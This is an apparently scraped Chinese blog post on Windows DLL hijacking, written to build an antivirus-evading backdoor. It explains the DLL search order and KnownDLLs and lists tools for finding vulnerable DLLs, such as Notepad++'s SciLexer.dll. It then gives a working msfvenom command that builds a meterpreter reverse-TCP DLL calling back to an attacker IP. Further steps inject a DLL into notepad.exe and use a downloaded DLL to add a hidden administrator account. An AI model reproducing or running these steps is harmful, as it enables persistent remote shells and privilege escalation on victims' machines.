最近在搞内网,须要实现免杀后门,大佬推荐了dll劫持,DLL劫持后,能干不少事情,好比杀软对某些厂商的软件是实行白名单的,你干些敏感操做都是不拦截,不提示的。还有留后门,提权等等。本文主要介绍如何检测dll劫持,以及实例演示。php
DLL(Dynamic Link Library)文件为动态连接库文件,又称"应用程序拓展",是软件文件类型。在Windows中,许多应用程序并非一个完整的可执行文件,它们被分割成一些相对独立的动态连接库,即DLL文件,放置于系统中。当咱们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可以使用多个DLL文件,一个DLL文件也可能被不一样的应用程序使用,这样的DLL文件被称为共享DLL文件。html
若是在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要黑客可以将恶意的DLL放在优先于正常DLL所在的目录,就可以欺骗系统优先加载恶意DLL,来实现"劫持"python
Windows查找DLL的目录以及对应的顺序:git
1. 进程对应的应用程序所在目录;github
2. 当前目录(Current Directory);web
3. 系统目录(经过 GetSystemDirectory 获取);shell
4. 16位系统目录;windows
5. Windows目录(经过 GetWindowsDirectory 获取);ruby
6. PATH环境变量中的各个目录;tcp
例如:对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,若是咱们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一块儿,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。
Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1
1. 进程对应的应用程序所在目录(可理解为程序安装目录好比C:\ProgramFiles\uTorrent)
2. 系统目录(即%windir%system32);
3. 16位系统目录(即%windir%system);
4. Windows目录(即%windir%);
5. 当前目录(运行的某个文件所在目录,好比C:\Documents and Settings\Administrator\Desktop\test);
6. PATH环境变量中的各个目录;
系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从exe自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
那么最终Windows2003以上以及win7以上操做系统经过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来肯定应用程序所要调用的DLL的路径,以后,应用程序就将DLL载入了本身的内存空间,执行相应的函数功能。
下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
使用process explorer检查exe程序主要加载的dll文件,这里使用 notepad++ v6.0.exe 做演示:
这里发现应用程序notepad++加载的dll文件为SciLexer.dll。而这个dll文件在KnownDLLs中没法找到:
那意味着notepad++.exe程序启动时能够从自身所在目录下调用SciLexer.dll文件,这就存在dll劫持的风险
下载地址:http://securityxploded.com/getsoftware_direct.php?id=7777
emmm....固然误报率比较高
下载地址:https://github.com/sensepost/rattler/releases
首推3gstudent师傅的文章:DLL劫持漏洞自动化识别工具Ratter
rattler能够枚举进程调用的dll列表,识别应用程序哪些dll容易受到DLL预加载攻击
下载地址:https://github.com/adamkramer/dll_hijack_detect/releases
能够检测Windows系统上正在运行的进程中的DLL劫持,不过效果...嘿嘿嘿
下载地址:https://github.com/secrary/InjectProc/releases
亲测在windows7 x64机器上没法使用
稍后具体演示注入流程...
1.启动应用程序
2.使用Process Explorer等相似软件查看该应用程序启动后加载的动态连接库
3.从该应用程序已加载的DLL列表中,查找在KnowsDLLs注册表项不存在的DLL
4.编写上一步获取到的DLL的劫持DLL
5.将编写好的劫持DLL放到该应用程序目录下,从新启动该应用程序,检查是否劫持成功
首先使用msfvenom生成dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=5555 -f dll >SciLexer.dll
打开msf,并开启监听:
将生成的dll文件,丢到目标机器中,打开笔记本,也就是notepad.exe程序,输入如下命令:
InjectProc.exe dll_inj joker.dll notepad.exe
发现kali已经获得了目标shell
-------------------------------------------------------------------------
补充:
今天看了大佬的文章:Notepad++劫持提权 感受好流弊
上述咱们已经分析过程序notepad++.exe v6.0启动所调用的SciLexer.dll是存在劫持风险的,
下面利用使用大佬的dll文件进行劫持
工具连接: https://pan.baidu.com/s/1uTQDG-4up8TG96Infsvwnw
提取码: ki6
将大佬的dll文件重命名为存在劫持风险的dll文件,劫持前:
以管理员身份运行notepad++
成功添加管理员webbaozi/webbaozi!@#123
参考连接: